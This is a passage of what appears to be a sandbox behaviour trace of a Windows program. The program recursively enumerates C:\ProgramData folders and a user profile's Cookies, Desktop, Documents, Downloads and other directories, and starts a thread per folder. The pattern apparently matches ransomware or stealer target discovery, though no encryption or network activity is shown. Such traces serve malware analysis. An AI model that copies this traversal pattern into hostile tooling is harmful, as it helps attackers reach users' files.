ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.538] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b1a8) returned 1 [0048.538] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ba8) returned 1 [0048.538] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409be8) returned 1 Thread: id = 101 os_tid = 0xb94 [0045.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2a) returned 0x40a988 [0045.803] wcscpy (in: _Dest=0x40a988, _Source="C:\\ProgramData\\Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0045.803] wcscat (in: _Dest=0x40a988, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\") returned="C:\\ProgramData\\Sun\\" [0045.803] wcscat (in: _Dest=0x40a988, _Source="*" | out: _Dest="C:\\ProgramData\\Sun\\*") returned="C:\\ProgramData\\Sun\\*" [0045.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44b838 [0045.803] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\*", lpFindFileData=0x44b838 | out: lpFindFileData=0x44b838*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a328 [0049.750] wcscmp (_String1=".", _String2=".") returned 0 [0049.750] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x44b838 | out: lpFindFileData=0x44b838*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.750] wcscmp (_String1="..", _String2=".") returned 1 [0049.750] wcscmp (_String1="..", _String2="..") returned 0 [0049.750] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x44b838 | out: lpFindFileData=0x44b838*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0049.751] wcscmp (_String1="Java", _String2=".") returned 1 [0049.751] wcscmp (_String1="Java", _String2="..") returned 1 [0049.751] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40a9c0 [0049.751] wcscpy (in: _Dest=0x40a9c0, _Source="C:\\ProgramData\\Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0049.751] wcscat (in: _Dest=0x40a9c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\") returned="C:\\ProgramData\\Sun\\" [0049.751] wcscat (in: _Dest=0x40a9c0, _Source="Java" | out: _Dest="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0055.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a9c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0055.560] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x44b838 | out: lpFindFileData=0x44b838*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0055.560] FindClose (in: hFindFile=0x40a328 | out: hFindFile=0x40a328) returned 1 [0055.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b838) returned 1 [0055.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a988) returned 1 [0055.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408830) returned 1 Thread: id = 102 os_tid = 0xb98 [0045.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409b68 [0045.803] wcscpy (in: _Dest=0x409b68, _Source="C:\\ProgramData\\Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0045.803] wcscat (in: _Dest=0x409b68, _Source="\\" | out: _Dest="C:\\ProgramData\\Templates\\") returned="C:\\ProgramData\\Templates\\" [0045.804] wcscat (in: _Dest=0x409b68, _Source="*" | out: _Dest="C:\\ProgramData\\Templates\\*") returned="C:\\ProgramData\\Templates\\*" [0045.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44bec8 [0045.804] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x44bec8 | out: lpFindFileData=0x44bec8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bec8) returned 1 [0048.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b68) returned 1 [0048.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409c28) returned 1 Thread: id = 103 os_tid = 0xb9c [0045.813] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0045.813] wcscpy (in: _Dest=0x402840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.813] wcscat (in: _Dest=0x402840, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.813] wcscat (in: _Dest=0x402840, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*" [0045.813] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.813] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.813] wcscmp (_String1=".", _String2=".") returned 0 [0045.813] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.816] wcscmp (_String1="..", _String2=".") returned 1 [0045.816] wcscmp (_String1="..", _String2="..") returned 0 [0045.816] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0045.816] wcscmp (_String1="AppData", _String2=".") returned 1 [0045.816] wcscmp (_String1="AppData", _String2="..") returned 1 [0045.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413ff0 [0045.816] wcscpy (in: _Dest=0x413ff0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.816] wcscat (in: _Dest=0x413ff0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.816] wcscat (in: _Dest=0x413ff0, _Source="AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0045.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0045.817] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0045.817] wcscmp (_String1="Application Data", _String2=".") returned 1 [0045.817] wcscmp (_String1="Application Data", _String2="..") returned 1 [0045.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x41bf20 [0045.817] wcscpy (in: _Dest=0x41bf20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.817] wcscat (in: _Dest=0x41bf20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.817] wcscat (in: _Dest=0x41bf20, _Source="Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0045.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41bf20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c [0045.818] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0045.818] wcscmp (_String1="Contacts", _String2=".") returned 1 [0045.818] wcscmp (_String1="Contacts", _String2="..") returned 1 [0045.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414048 [0045.818] wcscpy (in: _Dest=0x414048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.818] wcscat (in: _Dest=0x414048, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.818] wcscat (in: _Dest=0x414048, _Source="Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0045.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0045.819] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0045.819] wcscmp (_String1="Cookies", _String2=".") returned 1 [0045.820] wcscmp (_String1="Cookies", _String2="..") returned 1 [0045.820] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4140a0 [0045.820] wcscpy (in: _Dest=0x4140a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.820] wcscat (in: _Dest=0x4140a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.820] wcscat (in: _Dest=0x4140a0, _Source="Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0045.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4140a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0045.821] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x92accae0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92accae0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0045.821] wcscmp (_String1="Desktop", _String2=".") returned 1 [0045.821] wcscmp (_String1="Desktop", _String2="..") returned 1 [0045.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4140f8 [0045.821] wcscpy (in: _Dest=0x4140f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.821] wcscat (in: _Dest=0x4140f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.821] wcscat (in: _Dest=0x4140f8, _Source="Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0045.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4140f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0045.822] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87857220, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87857220, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0045.822] wcscmp (_String1="Documents", _String2=".") returned 1 [0045.822] wcscmp (_String1="Documents", _String2="..") returned 1 [0045.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414150 [0045.822] wcscpy (in: _Dest=0x414150, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.822] wcscat (in: _Dest=0x414150, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.822] wcscat (in: _Dest=0x414150, _Source="Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0045.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0045.823] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0045.823] wcscmp (_String1="Downloads", _String2=".") returned 1 [0045.823] wcscmp (_String1="Downloads", _String2="..") returned 1 [0045.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4141a8 [0045.823] wcscpy (in: _Dest=0x4141a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.823] wcscat (in: _Dest=0x4141a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.823] wcscat (in: _Dest=0x4141a8, _Source="Downloads" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0045.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4141a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0045.824] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0045.824] wcscmp (_String1="Favorites", _String2=".") returned 1 [0045.824] wcscmp (_String1="Favorites", _String2="..") returned 1 [0045.824] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414200 [0045.824] wcscpy (in: _Dest=0x414200, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.825] wcscat (in: _Dest=0x414200, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.825] wcscat (in: _Dest=0x414200, _Source="Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0045.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0045.826] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0045.826] wcscmp (_String1="Links", _String2=".") returned 1 [0045.826] wcscmp (_String1="Links", _String2="..") returned 1 [0045.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444dc0 [0045.826] wcscpy (in: _Dest=0x444dc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.826] wcscat (in: _Dest=0x444dc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.826] wcscat (in: _Dest=0x444dc0, _Source="Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0045.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0045.827] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0045.827] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0045.827] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0045.827] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x449c80 [0045.827] wcscpy (in: _Dest=0x449c80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.827] wcscat (in: _Dest=0x449c80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.827] wcscat (in: _Dest=0x449c80, _Source="Local Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0045.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0045.828] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x878ef7a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x878ef7a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0045.828] wcscmp (_String1="Music", _String2=".") returned 1 [0045.828] wcscmp (_String1="Music", _String2="..") returned 1 [0045.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444e10 [0045.828] wcscpy (in: _Dest=0x444e10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.828] wcscat (in: _Dest=0x444e10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.828] wcscat (in: _Dest=0x444e10, _Source="Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0045.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0045.829] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0045.829] wcscmp (_String1="My Documents", _String2=".") returned 1 [0045.829] wcscmp (_String1="My Documents", _String2="..") returned 1 [0045.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a070 [0045.829] wcscpy (in: _Dest=0x44a070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.829] wcscat (in: _Dest=0x44a070, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") 